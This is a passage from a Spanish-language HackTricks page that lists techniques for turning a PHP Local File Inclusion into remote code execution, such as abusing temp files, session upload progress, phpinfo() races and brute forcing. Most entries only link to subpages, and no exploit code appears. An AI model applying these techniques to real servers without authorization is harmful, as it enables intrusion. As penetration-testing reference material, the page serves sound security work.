**Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **segmentation fault**, y entonces el **archivo temporal no se eliminará** y podrás buscarlo.
|
|
|
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via Nginx temp file storage
|
|
|
|
Si encontraste una **Local File Inclusion** y **Nginx** está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
|
|
|
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
|
|
|
Si encontraste una **Local File Inclusion** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
|
|
|
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via temp file uploads in Windows
|
|
|
|
Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
|
|
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via phpinfo() (file\_uploads = on)
|
|
|
|
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
|
|
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
|
|
|
Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **burlar esa verificación** con esta **Condición de Carrera**:
|
|
|
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via eternal waiting + bruteforce
|
|
|
|
Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **fuerza bruta en los nombres de archivos durante horas** para encontrar el archivo temporal:
|
|
|
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
|
{% endcontent-ref %}
|
|
|
|
### To Fatal Error
|
|
|
|
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
|
|
|
**No sé cómo esto puede ser útil, pero podría serlo.**\
|
|
_Incluso si causas un PHP Fatal Error, los archivos temporales subidos de PHP se eliminan._
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Referencias
|
|
|
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
|
|
|
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
|
|
|
|
**Hacking Insights**\
|
|
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
|
|
|
|
**Real-Time Hack News**\
|
|
Mantente al día con el mundo del hacking a través de noticias e insights en tiempo real.
|
|
|
|
**Últimos Anuncios**\
|
|
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.
|
|
|
|
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|